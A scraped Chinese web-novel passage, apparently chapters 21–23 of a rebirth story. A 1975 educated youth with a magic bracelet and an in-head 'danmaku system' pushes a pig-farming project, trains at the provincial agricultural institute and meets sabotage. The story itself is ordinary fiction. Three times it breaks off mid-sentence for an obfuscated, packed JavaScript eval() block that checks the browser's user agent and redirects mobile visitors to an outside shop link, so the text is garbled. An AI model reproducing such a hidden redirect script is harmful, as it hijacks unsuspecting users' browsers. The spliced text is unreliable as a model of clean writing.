她耐心解释:技术是从书上学来的,已经在小规模试验中验证有效;省里选咱们,是因为咱们有基础,人实在,肯干。 最终,投票表决。二十三个人,十五票赞成,六票反对,两票弃权。通过了。 散会时,天已经擦黑。林晚照收拾东西准备走,刘委员走过来,脸色不太好看:“林同志,我还是那句话,稳当点好。你们年轻人敢闯,但别把全队带沟里。” “刘叔,我记住了。”林晚照认真地说,“我会小心的。” 走出队部,冷风一吹,她才感觉后背都湿透了。陈铁柱跟出来:“我送你回去。” 两人走在田埂上,谁都没说话。快到知青点时,陈铁柱突然说:“刘委员的儿子在县城农机站,一直想调回来当会计。这次选举,他支持了王会计。” 林晚照明白了。这是利益受损后的反弹。 “这事您怎么知道的?” “赵会计说的。”陈铁柱点了支烟,“队里的人际关系,比你想的复杂。你动了某些人的奶酪,就得准备好面对阻力。” “我做好准备了。” 回到知青点,屋里冷锅冷灶。李秀英病了,王晓芬去照顾她,刘翠翠去扫盲班代课。林晚照自己生火做饭,简单煮了锅红薯粥。 吃到一半,门被敲响了。来的是三婶,端着碗热气腾腾的饺子:“晚照,还没吃吧?刚包的,白菜猪肉馅,给你尝尝。” “三婶,这太贵重了……”林晚照知道,这年头包饺子是过年才有的待遇。 “客气啥。”三婶把碗塞她手里,“今天开会,婶子都听见了。你为咱们队着想,婶子支持你。那几个反对的,别往心里去,他们就是怕变。” 林晚照鼻子一酸:“谢谢三婶。” “谢啥,快趁热吃。”三婶拍拍她的手,“对了,跟你说个事。刘委员他媳妇今天下午去公社了,好像是找他那个在公社当干事的侄子。” 这个消息让林晚照警觉起来。刘委员自己反对不成,要找外援? 送走三婶,她食不知味地吃完饺子,收拾碗筷时,手腕上的银镯突然微微发烫。这是预警,有事情要发生。 她闭眼凝神,弹幕系统浮现: 【检测到异常能量波动:方向:公社;性质:人际关系干预;影响等级:中】 【建议:提前准备应对方案,目标人物:刘建国(公社干事,刘委员侄子)】 果然。 林晚照坐下,开始思考对策。刘建国在公社管什么?农业口?不对,他好像是管宣传的。宣传干事……能怎么干预养猪项目? 她想起前世看过的资料,七十年代搞任何新项目,都要过“政治正确”这一关。如果有人从意识形态上挑刺,说科学养猪是“崇洋媚外”“脱离群众”,那项目就可能被卡住。 得提前堵住这个漏洞。 她拿出纸笔,开始写一份补充材料:《关于科学养猪项目与农业学大寨精神结合的几点思考》。这是她的强项——前世写过的各种汇报材料、心得体会不计其数,知道怎么把新东西包装成符合主流意识形态的样子。 写到半夜,终于写完。她检查了一遍,确保每个观点都能在《人民日报》或《红旗》杂志上找到依据。什么“自力更生,艰苦奋斗”“土洋结合,服务生产”“为革命养猪,为备战备荒”,该有的口号一个不少。 第二天一早,她拿着补充材料去找陈铁柱。陈铁柱看完,难得地笑了:“晚照,你这脑子怎么长的?这都能想到。” “有备无患。”林晚照说,“队长,今天您去公社送方案,把这份也带上。如果刘建国找茬,就用这个堵他的嘴。” “行。”陈铁柱把材料装进文件袋,“还有件事,张教授那边来电报了,让咱们下周派人去省农科院参加培训。你去吧。” “我?”林晚照惊讶,“队里走不开吧?” “培训就七天,学的是核心技术,你去最合适。”陈铁柱说,“队里的事有我。你抓紧时间准备,介绍信我给你开好了。” 这消息来得突然。但林晚照知道,这是个重要机会。去省城,不仅能学到技术,还能扩展人脉,了解更多的信息。 “那我得把工作安排好。”她说,“工分核算快到月底了,得提前做完。养猪场那边也要交代清楚。” “给你三天时间准备,下周一出发。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854271|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回到队部,林晚照开始疯狂赶工。工分核算本来要月底才完成,她现在就得弄出来。好在大部分数据已经录入,只是汇总核对需要时间。 赵会计看她忙,主动帮忙:“晚照,你教我怎么汇总,我帮你弄一部分。” “谢谢赵会计。”林晚照也不客气,把方法教给他。两人配合,效率高了很多。 下午,她去养猪场交代工作。陈大牛听说她要走一周,有些慌:“林同志,你不在,这……这实验要是出问题咋办?” “我把每天的注意事项都写下来了。”林晚照拿出个小本子,“温度控制、饲料配比、防疫要点,都在这儿。您按这个来,不会出大问题。真有急事,可以给我发电报。” 她又把李桂花和几个帮工叫到一起,开了个短会。强调纪律,明确职责,每个人都分配了具体任务。 “我不在的时候,陈叔全权负责。大家听陈叔的,就像听我的一样。” 安排好这些,天又黑了。林晚照拖着疲惫的身体回到知青点,发现屋里亮着灯。推门进去,三个室友都在等她。 “晚照,听说你要去省城?”王晓芬眼睛亮晶晶的,“能帮我带点东西吗?” “带什么?” 王晓芬从枕头下拿出五块钱和一封信:“给我爸寄封信,再买盒雪花膏。省城的雪花膏比县城的好。” 李秀英也拿出两块钱:“帮我带本《赤脚医生手册》,周大夫说省城新华书店有。” 刘翠翠没说话,递过来一个小布包,里面是五块钱:“随便买点有用的。” 林晚照看着桌上的钱,心里暖融融的。这是信任,也是期待。 “行,我都记下了。”她拿出小本子,认真记下每个人的要求,“还有谁要带东西的?我一起问问。” 这一问不要紧,消息传出去,第二天队里好多人都来找她。三婶要买毛线,周大夫要买医书,赵会计要买墨水……最后列了整整两页清单。 林晚照哭笑不得,但一一记下。她知道,这些看似琐碎的要求背后,是大家对省城的向往,对外面世界的渴望。 出发前最后一天,陈铁柱从公社回来了,脸色不太好看。 “怎么了队长?” “刘建国果然找茬了。”陈铁柱说,“他说咱们的项目‘重技术轻政治’,要公社党委再研究研究。不过我把你的补充材料一递,他就不说话了。” “然后呢?” “公社王书记看了材料,很满意,当场就盖章了。”陈铁柱露出笑容,“王书记还说,等咱们做出成绩,要在全公社推广。” 悬着的心终于放下。林晚照长出一口气。 “还有,”陈铁柱从包里拿出个信封,“这是公社给你开的介绍信,还有二十块钱差旅费。省城住宿贵,别省着。” 二十块钱,足够在省城住七天招待所,还能吃几顿好的。 “谢谢队长。” “谢啥,你是为队里办事。”陈铁柱顿了顿,“晚照,省城不比乡下,人多眼杂,你一个人要小心。有事就找张教授,或者……打这个电话。” 他递过来一张纸条,上面写了个省城的电话号码。 “这是?” “我以前在部队的老战友,现在在省公安厅工作。”陈铁柱说,“万一遇到麻烦,找他。就说是我让你找的。” 这份心意太重了。林晚照郑重地收起纸条:“我记住了。” 晚上,她最后一次检查行李。几件换洗衣服,洗漱用品,笔记本和笔。最重要的,是那份盖了公社红章的合作方案。 她抚摸着方案封面,心里涌起一股奇异的感觉。几个月前,她还是上海弄堂里那个被继母欺负的可怜虫。现在,她要代表一个生产队,去省城谈合作。 命运这东西,真是说不清。 手腕上的银镯在灯光下泛着温润的光。她想起陈启明,想起那个关于2024年的警告。如果她现在做的这些事,真能为那个灾难的未来积累一点改变的力量…… 那这一切,就都值得。 窗外的风吹过,带来远处养猪场隐约的猪叫声。 明天,她就要离开这个刚刚扎根的地方,去往更广阔的天地。 但这里,永远是她的起点。 她吹灭油灯,躺到床上。 睡梦中,她仿佛看见了省城的高楼,看见了农科院的实验室,看见了那些穿着白大褂的研究人员。 还有一个模糊的身影,站在实验室的窗前,回头看她。 那个人说:“你终于来了。” 她看不清那人的脸。 但感觉,很熟悉。 22. 省城初印象 清晨五点半,开往省城的绿皮火车在永丰县站停靠三分钟。林晚照背着半旧的帆布包挤上车时,车厢里已经坐满了人。浓重的烟草味、汗味和煤烟味混杂在一起,但她竟然觉得亲切——这让她想起三个月前从上海来江西的那趟旅程。 那时候她还忐忑不安,不知道等待自己的是什么。现在,她有了方向。 找到座位,是靠窗的位置。她把包放在膝上,里面装着二十七页的合作方案,还有队里二十多户人家托她买的东西清单。车窗玻璃上凝着水汽,她用手擦了擦,看见站台上送行的人影渐渐后退。 火车缓缓启动,驶出县城。晨光中的田野蒙着一层薄霜,远处的山峦在雾气中若隐若现。林晚照靠窗坐着,感受着车轮与铁轨有节奏的撞击声。手腕上的银镯在衣袖下微微发烫,像是在呼应着远方的召唤。 从永丰到省城要六个小时。林晚照没闲着,她从包里掏出笔记本,开始梳理这次省城之行的目标: 第一,参加农科院培训,掌握核心技术; 第二,敲定合作细节,争取更多支持; 第三,采购清单上的物品; 第四,打听更多关于农业政策的信息; 第五,如果有可能,接触更多领域的人。 写到这里,她笔尖顿了顿。还有一件没说出口的事:她想看看,这个时代的省城是什么样子。1975年的省城,和她记忆中的那个现代化都市,有多大差别? 火车穿过一个又一个隧道,光线明暗交替。同座的是个四十多岁的妇女,带着个七八岁的男孩。孩子好奇地盯着林晚照看,她笑了笑,从包里掏出块硬糖递过去。 “谢谢姐姐!”孩子眼睛亮了。 “不客气。”林晚照摸摸他的头。这糖是她从空间里拿的,包装纸已经换成这个年代常见的油纸。 孩子的母亲连忙道谢:“大妹子,你这是去哪儿啊?” “省城,去学习。” “学习好啊。”妇女羡慕地说,“我年轻时也想上学,家里穷,供不起。” 两人聊了起来。妇女是去省城看病的,孩子腿上长了个瘤子,县医院治不了。说到医药费,她眼圈红了:“砸锅卖铁也得治,就这么一个娃。” 林晚照心里不是滋味。这个年代,一场大病就能拖垮一个家庭。她想了想,从笔记本上撕下一张纸,写了个地址:“大姐,您去省人民医院找这位周大夫,就说是我介绍的。他是上海来的专家,也许能帮上忙。” 地址是她前世记得的一位名医,这时候应该还在省城。虽然不一定能找到,但总是一线希望。 妇女千恩万谢地收下纸,珍重地揣进怀里。 中午时分,火车停靠一个大站。站台上有人卖盒饭,两毛钱一份,米饭上盖着几片白菜和两片薄薄的腊肉。林晚照买了一份,就着自带的凉白开吃起来。 味道很一般,盐放得重,油水少。但她吃得很认真——这是队里给的差旅费,不能浪费。 下午一点,火车终于驶入省城站。 林晚照背着包下车,第一感觉是人多。站台上黑压压全是人,拎着大包小包,挤着往出口涌。高音喇叭里循环播放着:“旅客同志们请注意,请按顺序出站,不要拥挤……” 她跟着人流往外走,出了站,眼前的景象让她怔了怔。 宽阔的广场,周围是三四层高的楼房,墙上刷着红色标语:“抓革命,促生产”“工业学大庆,农业学大寨”。有轨电车“叮叮当当”驶过,自行车流像潮水一样。人们的穿着比乡下整齐多了,虽然还是以蓝、灰、绿为主,但补丁少了,款式也多样些。 这就是1975年的省城。比她想象中繁华,但也比她记忆中的城市简陋得多。 按照地址,农科院在城东。她问了路,找到公交站牌。2路车,坐七站,票价五分钱。 车上挤得像沙丁鱼罐头。林晚照紧紧护着怀里的包,里面可是全队的希望。有人挤到她身边,手似乎要往她包里伸,她立刻警觉地侧身,那人讪讪地缩回手。 小偷哪儿都有,哪个年代都一样。 到站下车,眼前是一条安静的林荫道。路两旁是高大的梧桐树,叶子已经落尽,枝干在冬日的天空下画出遒劲的线条。农科院的大门很气派,水泥门柱上挂着白底黑字的牌子:江西省农业科学研究院。 门口有传达室,看门的是个戴眼镜的老头。林晚照递上介绍信,老头仔细看了,推了推眼镜:“你就是红星公社来的林晚照同志?” “是的。” “张教授交代过了,让你直接去三号楼找他。”老头很和气,“沿着这条路直走,看见红砖楼右拐。” 谢过老头,林晚照走进院子。农科院比她想象中大,像个小型的大学校园。几栋三四层的楼房错落分布,楼间有试验田,这个季节种的是冬小麦,绿油油的一片。 三号楼是栋三层红砖楼,门口挂着“畜牧兽医研究所”的牌子。她上楼,找到208室,敲门。 “请进。” 推门进去,是间宽敞的办公室。靠墙摆着几个书柜,里面塞满了书和资料。窗前有张办公桌,张教授正伏案写着什么。听见脚步声,他抬起头,看见林晚照,笑了。 “小林同志,一路辛苦了。” “张教授好。”林晚照规规矩矩地问好。 “坐,先喝口水。”张教授起身给她倒水,“住处安排好了,就在院里的招待所,条件简陋些,但方便。” “谢谢张教授。” “合作方案我看了,写得很专业。”张教授坐回椅子上,表情严肃起来,“但有些地方,我想听听你的真实想法。” 来了。林晚照坐直身体:“您请说。” “这个饲料发酵配方,你从哪来的?”张教授推过来一张纸,上面是林晚照方案里的一段,“这种微生物菌种组合,国内目前还没有报道。我查了国外文献,相似的研究是去年才发表的。” 林晚照心里一紧。她光顾着把前世的知识用上,忘了考虑这个年代的技术水平。弹幕系统给的配方太先进了。 “是……是我自己琢磨的。”她硬着头皮说,“在乡下试验时,发现某些草药残渣发酵后效果特别好,就试着组合了几种。” 这话半真半假。草药是她加的,但菌种组合确实是弹幕系统优化的。 张教授盯着她看了几秒,突然笑了:“你不用紧张。科学研究本来就需要大胆尝试。我只是想确认,这些数据是真实的。” “绝对真实。”林晚照松了口气,“我们做过小规模试验,出肉率提高了百分之十八。” “好。”张教授在文件上做了个标记,“培训明天开始,为期七天。内容很多,你要有心理准备。” 他又交代了些注意事项,然后叫来一个年轻助手:“小李,带林同志去招待所安置,再去食堂办个临时饭票。” 小李二十出头,戴着眼镜,很斯文的样子。他热情地帮林晚照拿行李,边走边介绍:“招待所在后院,两人一间。培训期间,食堂早餐六点半,午餐十一点半,晚餐五点半。错过时间就没了。” 招待所是栋两层小楼,木楼梯踩上去吱呀作响。房间在二楼,推开门,里面摆着两张木板床,一张桌子,两把椅子。窗户朝南,采光不错。 “你的室友是农校来进修的老师,晚上到。”小李说,“厕所在走廊尽头,洗澡要去公共澡堂,每周二、四、六开放。” 很简朴,但干净。林晚照很满意。 安置好行李,小李又带她去食堂办饭票。临时饭票是硬纸片,印着日期,打一个菜划掉一格。早饭一毛,午饭两毛,晚饭一毛五。 “省着点吃,能省下点钱。”小李低声说,“外面饭馆贵,一碗肉丝面要三毛五呢。” 办完这些,已经下午四点。小李还有事,先走了。林晚照回到房间,躺在床上休息。坐了一天车,确实累了。 但她睡不着。脑海里反复回放着张教授的话:“这种微生物菌种组合,国内目前还没有报道。” 太冒进了。她提醒自己,以后拿出新技术要更谨慎,要符合这个时代的发展水平。 不过既然已经拿出来了,就得想办法圆过去。她起身,从包里拿出笔记本,开始设计一套“合理化”的说辞:如何从传统经验中发现线索,如何通过反复试验验证,如何结合本地资源创新…… 写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854272|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一半,门开了。一个三十岁左右的女人提着行李进来,看见林晚照,愣了一下:“你是?” “我是来参加培训的,红星公社的林晚照。” “哦,我是农校的王文娟。”女人放下行李,很干练的样子,“畜牧专业的老师。你是哪个公社的?” 两人聊了起来。王文娟很健谈,听说林晚照来自基层,眼睛亮了:“太好了!我们上课总讲理论,缺的就是实践经验。你在乡下养猪遇到的具体问题有哪些?跟我说说。” 这正是林晚照需要的——接触不同领域的人。两人越聊越投机,从饲料配方聊到猪病防治,再聊到农村经济。 “其实我觉得,”王文娟压低声音,“现在这种大锅饭的模式有问题。干多干少一个样,谁有积极性?要是能搞承包制,把养猪场包给个人,效果肯定不一样。” 这话在1975年很大胆。林晚照心里一动:“王老师,您觉得承包制可能实现吗?” “难。”王文娟摇头,“现在政策不允许。但我在想,能不能在集体框架下,搞点激励机制?比如超额完成指标,给奖励。” 这思路和林晚照不谋而合。她正要深入聊,走廊里传来喊声:“开饭了!” 食堂是一栋平房,里面摆着十几张长条桌。打饭窗口排着队,菜很简单:白菜炖粉条,玉米面窝窝头。但油水比乡下足,粉条里能看到几片肥肉。 林晚照打了饭菜,和王文娟找了个位置坐下。同桌的还有几个来培训的人,互相介绍,都是各县来的技术员或公社干部。 “听说这次培训是为了推广科学养猪?”一个黑脸汉子问。 “对。”王文娟说,“省里想选几个试点,成功了再推广。” “那得有钱啊。”另一个戴帽子的说,“我们公社穷得叮当响,哪有钱建新猪舍。” 大家都叹气。林晚照没说话,心里却在盘算:如果农科院的项目能申请到专项资金,也许可以带动更多公社。 吃完饭,天已经黑了。农科院里没有路灯,只有办公楼和宿舍楼亮着零星灯光。林晚照和王文娟打着手电筒回招待所,路上聊起各自的生活。 “我丈夫在县农机站,孩子在老家由婆婆带。”王文娟说,“一个月回一次家。你呢?在乡下习惯吗?” “习惯了。”林晚照说,“乡下人实在,对我也好。” “那就好。”王文娟拍拍她的手,“女人在外面不容易,互相照应着点。” 回到房间,王文娟拿出本书看,林晚照也拿出笔记本,继续完善她的说辞。写到九点多,两人洗漱睡下。 躺在床上,林晚照却睡不着。透过窗户,能看见外面的星空。省城的天空没有乡下清澈,但星星依然很多。 她想起红星公社,想起养猪场,想起陈铁柱、陈大牛、三婶他们。不知道这时候他们在做什么。养猪场还好吗?工分核算有没有问题? 手腕上的银镯在黑暗中微微发烫。她轻轻抚摸着,想起陈启明,想起那个关于2024年的警告。 如果她现在做的这些事,真能改变一些东西…… 那再难也值得。 迷迷糊糊快要睡着时,她忽然听见外面有动静。是脚步声,很轻,但在安静的夜里很清晰。 脚步声停在她们房门外。 林晚照屏住呼吸。 钥匙插进锁孔的声音。 门把手转动。 她的心提到了嗓子眼。 但门没开——外面的人似乎发现门从里面插上了。 脚步声又响起,渐渐远去。 林晚照等了一会儿,确定人走了,才轻轻起身,走到门边。门上的插销好好的,但锁孔有新鲜的划痕。 有人想进来。 不是走错门,是故意的。 她回到床上,再也睡不着了。 为什么?她刚来省城,谁会对她感兴趣? 是冲着合作方案来的?还是……别的什么? 窗外的月光照进来,在地上投出冰冷的白斑。 林晚照握紧手腕上的银镯。 这个省城,比她想象中复杂。 明天开始,她要更加小心了。 23. 培训第一天 清晨六点,农科院的起床号准时响起。林晚照几乎一夜未眠,但依然迅速起身。她轻手轻脚地洗漱,没有吵醒还在熟睡的王文娟。窗外天色还是青灰色,晨雾笼罩着院里的试验田。 昨晚试图闯入的阴影还笼罩在心头。林晚照仔细检查了房门——锁孔上的划痕清晰可见,不是错觉。她从笔记本上撕下一页纸,折成细条夹在门缝处。这是最简单的预警装置,如果有人再次开门,纸片就会掉落。 做完这些,她背上帆布包,提前去了食堂。早餐是稀饭和咸菜,还有一人一个玉米面窝窝头。她坐在角落的位置,一边吃一边观察陆续进来的人。 来培训的大多是三四十岁的男性,穿着中山装或旧军装,皮肤黝黑,一看就是常年在基层跑的技术员或干部。女性很少,除了她和王文娟,只看见另外两个。 “林同志,起这么早?”张教授端着饭盘在她对面坐下。 “张教授早。”林晚照礼貌回应,“习惯了,在乡下都是这个点起。” “好习惯。”张教授咬了口窝窝头,“今天培训第一课是我讲,主要内容是国内外养猪技术现状。你那份方案里有些观点很新颖,我想请你配合做个案例分享。” 这是个机会,也是考验。林晚照点头:“好的,我需要准备什么?” “不用特意准备,就讲讲你们在红星公社的实践。”张教授顿了顿,“不过小林,有件事我得提醒你。这次培训的学员里,有些是其他公社推荐来学习的,也有些是……来挑刺的。” 这话说得很隐晦,但林晚照听懂了。有人不想看到红星公社拿到这个项目。 “谢谢张教授提醒。” “你心里有数就行。”张教授吃完最后一口饭,“八点,一号楼三楼会议室。” 一号楼是农科院的主楼,外墙爬满了枯藤。三楼会议室能容纳五六十人,此刻已经坐了三十多人。林晚照找了个靠前但不是最显眼的位置坐下,拿出笔记本和钢笔。 王文娟进来时,看见她,走过来在旁边坐下:“昨晚睡得好吗?” “还行。”林晚照没提半夜的事。 八点整,张教授走上讲台。他今天换了身深灰色中山装,头发梳得整齐,眼镜片在日光灯下反着光。 “同志们,欢迎参加全省科学养猪技术培训班。”他开门见山,“这次培训的目的是推广先进的养殖技术,提高我省生猪出肉率,为人民群众提供更多优质的猪肉产品。” 台下响起掌声。 “在正式讲课前,我想先请一位同志分享她的实践经验。”张教授的目光落在林晚照身上,“红星公社第五生产队的林晚照同志,她在基层摸索出了一套行之有效的养殖方法。让我们欢迎林同志。” 所有人的目光都投向林晚照。她深吸一口气,站起身走到讲台旁。这个位置能看清台下每一张脸——有好奇的,有不屑的,有审视的。 “各位同志,我叫林晚照,是红星公社的知青。”她开口,声音清亮,“今天主要分享我们在饲料发酵和疾病预防方面的几点尝试。” 她讲得很实际,没有高大上的理论,全是具体操作:怎么建发酵池,怎么控制温度,用什么草药预防常见病。讲到关键处,她在黑板上画出简易的示意图。 “这个发酵温度的控制,你们是怎么做到的?”台下有人提问,是个戴眼镜的中年男人。 “我们用土办法。”林晚照回答,“在发酵池里插根温度计,早晚各记录一次。如果温度低了,就加厚草帘保温;温度高了,就掀开草帘散热。” “听起来很简单嘛。”另一个声音响起,带着明显的轻视,“这种土办法,每个生产队都会。” 说话的是个四十多岁的男人,坐在后排,穿着崭新的中山装,手指干净,不像常干农活的样子。 林晚照看向他:“同志说得对,方法确实简单。但关键在于坚持和记录。我们连续记录了两个月的数据,才发现最合适的温度区间。科学就是从简单中总结规律。” 这话回答得不卑不亢。张教授赞许地点点头。 那男人还想说什么,被旁边的人拉住了。 林晚照继续讲完剩下的内容。她特意留了几个“破绽”——一些不成熟的想法,一些需要进一步验证的假设。这是她前世做汇报时学到的技巧:给出完整方案反而容易招致攻击,适当暴露不足,既能降低别人的戒心,也能引发讨论。 果然,她讲完后,台下展开了热烈讨论。有人赞同,有人质疑,但整体氛围是积极的。 “好了,讨论先到这里。”张教授控制住场面,“林同志的分享给我们提供了一个很好的切入点。现在,我开始今天的正式内容……” 上午的课讲的是国内外养殖技术对比。林晚照认真做着笔记,同时用弹幕系统扫描着台下的人。大部分人的状态都很正常,但有几个值得注意: 【后排穿中山装男人:吴建国,省农业局干部,对项目持保留态度】 【左前方戴帽子女同志:李红英,某国营农场技术员,对林晚照的分享很感兴趣】 【右侧角落年轻男子:频繁记录,注意力高度集中,身份待确认】 课间休息时,李红英主动走过来:“林同志,你刚才说的那个草药配方,能具体说说吗?” “当然可以。”林晚照从包里拿出个小本子,“我画了草药的样子,还有用量配比。” 两人正聊着,吴建国也凑过来,语气依然带着审视:“小林同志,你们那个发酵饲料,成本算过吗?别最后猪肉是增产了,成本却上去了,得不偿失。” 这个问题很实际。林晚照早有准备:“吴同志,我们算过账。发酵池一次性投入十五块钱,可以用三年。草药都是山里采的,只需要人工成本。综合算下来,每头猪的饲养成本增加不到一块钱,但出肉能增加十五到二十斤,按市价就是十到十四块钱。净增九到十三块。” 这个数据她反复核算过,精准到小数点后一位。 吴建国愣了愣,掏出个小本子算了算,不说话了。 “小林同志,账算得这么细?”李红英惊讶。 “在基层,一分钱都得掰成两半花。”林晚照笑笑,“不算清楚,对不起社员们的信任。” 这话说到了点子上。周围几个来自基层的技术员都点头。 第二节课讲疾病防治。张教授讲到猪瘟时,林晚照举手提问:“教授,如果发现疑似病例,但基层没有检测条件,该怎么处理?” 这是她实际遇到过的问题。 “这个问题很好。”张教授推了推眼镜,“在没有实验室条件的情况下,首先要做的是隔离。然后观察症状,记录病程,采集样本送到县畜牧站。最重要的是不要慌,不要乱用药。” 他详细讲解了各种常见病的鉴别要点。林晚照一边记,一边对照弹幕系统给出的信息——基本吻合,但弹幕系统更详细,包括了一些这个年代还没发现的病原体特性。 她犹豫了一下,还是决定不提那些超前的知识。饭要一口一口吃,路要一步一步走。 中午吃饭时,王文娟端着饭盘过来:“晚照,你今天讲得真好。那个吴建国,是省农业局管项目审批的,平时眼睛长在头顶上。你能把他问住,厉害。” “我只是实话实说。”林晚照扒了口饭,“王老师,下午是什么内容?” “实验室操作。”王文娟说,“张教授安排大家分组,学习基本的检测技术。你在我们组,还有李红英和那个……”她指了指角落里安静吃饭的年轻男子,“他叫陈明,是农科院今年新招的研究员。” 林晚照看向陈明。那人二十七八岁,戴副黑框眼镜,吃饭很慢,像在思考什么。弹幕系统显示: 【陈明:省农科院畜牧所助理研究员,研究方向:动物营养学】 【特殊提示:该人员近期频繁查阅1970-1975年国外畜牧学期刊,关注重点:饲料添加剂】 有意思。这个年代能接触到国外期刊的研究员,不是一般人。 下午的实验室在一号楼地下室。推开门,一股福尔马林和消毒水的混合气味扑面而来。实验室不大,摆着几张长条实验台,上面放着显微镜、离心机、恒温箱等设备。 “条件简陋,大家将就着用。”张教授说,“今天学两个内容:一是粪便镜检,检测寄生虫;二是血液涂片,看白细胞计数。” 分组进行。林晚照、王文娟、李红英、陈明一组。陈明话很少,但操作熟练,显然是常泡实验室的人。 “林同志,你先来试试。”张教授亲自指导她做粪便镜检。 林晚照前世在生物实验室待过,基本的显微镜操作难不倒她。她熟练地调焦、观察、记录,动作流畅得像做过千百遍。 “你以前用过显微镜?”张教授惊讶。 “在学校时学过。”林晚照含糊带过。原主确实上过初中,有生物课,但那个年代的学校条件,能有显微镜的少之又少。 好在张教授没深究,转向指导其他人。 轮到血液涂片时,林晚照更加小心。这个技术更专业,她故意做得生疏些,在张教授的指导下慢慢完成。 “不错,第一次做成这样很好了。”张教授鼓励道。 实验做到一半,实验室的门被推开了。一个穿着白大褂的中年女人进来,在张教授耳边低声说了几句。张教授脸色微变,对大家说:“我有点事,陈明,你带大家继续做。” 张教授匆匆离开。实验室里的气氛松弛了些。 “林同志,你们公社的猪,寄生虫感染率高吗?”陈明突然开口,这是他今天第一次主动说话。 “不高,我们定期用草药驱虫。”林晚照回答,“陈研究员对寄生虫有研究?” “有点。”陈明推了推眼镜,“我在想,如果能从草药中提取有效成分,做成标准化制剂,效果可能更好。” 这个思路很超前。1975年,国内兽药还以磺胺类、抗生素为主,中草药制剂很少。 “这个想法很好。”林晚照真诚地说,“不过提取工艺和标准化是难点。” “确实。”陈明眼睛亮了,像是找到了知音,“我查过一些国外资料,他们已经在做相关研究。但国内……” 他没说完,但意思明白——国内条件有限。 两人聊了起来。从草药提取聊到饲料添加剂,从国内现状聊到国外进展。李红英和王文娟插不上话,去做其他实验了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854273|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林同志,你这些知识从哪学的?”陈明终于问出了这个问题。 “喜欢看书,到处找资料看。”林晚照说,“陈研究员,您能接触到国外期刊?” 陈明警惕地看了看四周,压低声音:“我舅舅在外交部工作,有时候能带回来一些。但这话……” “我明白。”林晚照点头,“不会乱说。” 实验室的门再次被推开,张教授回来了,脸色不太好看。他没说什么,继续指导大家完成实验。 五点钟,培训结束。林晚照收拾东西准备离开时,张教授叫住她:“小林,留一下。” 等其他人都走了,张教授关上门,表情严肃:“刚才接到电话,你们公社的养猪场出了点问题。” 林晚照心里一紧:“什么问题?” “有猪突然死亡,原因不明。陈铁柱同志打电话到农科院,希望你能尽快回去看看。” “死了几头?” “三头。”张教授说,“但更麻烦的是,有传言说是因为用了你的新方法才死的。现在队里有人要求停止实验。” 林晚照的大脑飞速运转。猪突然死亡,可能是疾病,也可能是中毒,或者是其他意外。但在这个节骨眼上出事,太巧了。 “张教授,我需要请假回去。” “我已经安排好了。”张教授递过来一张车票,“今晚八点的火车,明天一早到县里。院里派车送你去车站。” “谢谢教授。” “还有,”张教授犹豫了一下,“小林,这事可能不简单。你回去后要小心处理,既要把问题查清楚,也要保护好自己。” 这话里的深意让林晚照警觉:“教授,您是不是知道什么?” 张教授沉默片刻,从抽屉里拿出一封信:“这是今早收到的匿名信,说你在培训期间行为不端,学术不诚实。我没当回事,但现在看来……” 林晚照接过信。纸张是普通的信纸,字是用打字机打的,没有署名。内容指责她“剽窃国外技术,伪装成自己的创新”“欺骗组织,骗取项目资金”。 “这是污蔑。”林晚照平静地说。 “我知道。”张教授收起信,“但有人写这封信,说明你触动了某些人的利益。养猪场的事,可能也是有人故意捣乱。” 林晚照想起昨晚试图闯入的人,想起培训课上吴建国的刁难,想起那些审视的目光。 “我明白了。”她把车票收好,“张教授,实验数据我都带来了,可以留下给您审查。如果证明我确实有问题,我承担一切责任。” “不用。”张教授摆摆手,“我相信你。但小林,你要记住,改革路上总有阻力。越是做得对的事,越会有人反对。” 离开实验室,林晚照快步走回招待所。王文娟正在整理笔记,看见她收拾行李,惊讶道:“晚照,你这是?” “队里有急事,我得回去一趟。”林晚照简单解释,“王老师,培训笔记能借我抄一份吗?我路上看。” “当然可以。”王文娟把笔记本递给她,“出什么事了?需要帮忙吗?” “暂时不用,谢谢。” 林晚照快速收拾好行李,检查了门缝处的纸片——还在原位,说明没人再次试图进入。她取下纸片,撕碎扔进垃圾桶。 六点半,农科院的车准时停在楼下。司机是个沉默的中年人,帮她放好行李,一路无话开到火车站。 省城火车站在暮色中灯火通明。林晚照买了个烧饼当晚饭,在候车室找了个角落坐下。她翻开王文娟的笔记,却一个字也看不进去。 手腕上的银镯在衣袖下发烫,像是在预警。 养猪场的事是意外还是人为?匿名信是谁写的?昨晚试图闯入的人是谁?这些问题在脑海里盘旋。 她想起陈铁柱,想起陈大牛,想起三婶。他们现在一定很着急,很无助。她把项目带给他们希望,现在却可能带来麻烦。 